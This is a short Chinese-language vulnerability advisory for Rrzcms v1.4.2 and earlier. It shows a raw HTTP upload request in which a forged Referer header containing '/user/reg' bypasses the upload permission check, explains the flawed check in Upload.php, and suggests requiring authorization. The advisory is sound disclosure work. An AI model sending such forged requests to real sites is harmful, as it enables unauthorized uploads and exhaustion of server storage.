系统名称及影响版本
Rrzcms <= v1.4.2
漏洞接口:
POST /index.php/upload/index.html?type=images HTTP/1.1Host: test.localhost.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=---------------------------375316786031623716504008618503Content-Length: 1016Origin: http://test.localhost.comConnection: closeReferer: http://test.localhost.com/index.php/user/reg-----------------------------375316786031623716504008618503Content-Disposition: form-data; name="file"; filename="888.png"Content-Type: image/png
漏洞分析及复现:
- 漏洞源码位置/app/home/controller/Upload.php 的第26行,如下图

2. 如上图代码,是直接判断HTTP_REFERER中是否包含Host及/user/reg字符串,如果包含则不需要权限可直接调用上传接口,如果不包含则需要权限才能调用上传接口。这里可以借助这种方式无需权限调用上传接口,批量上传无用文件侵占服务器存储空间。漏洞复现如下:直接在Referer中填入内容 http://test.localhost.com/index.php/user/reg

3. 如上图所示,上传图片成功。正常应该是需要权限才能上传,无权限会上传失败,如下图:
漏洞修复建议:
上传功能需添加权限使用,避免造成大量无用文件上传侵占服务器存储空间。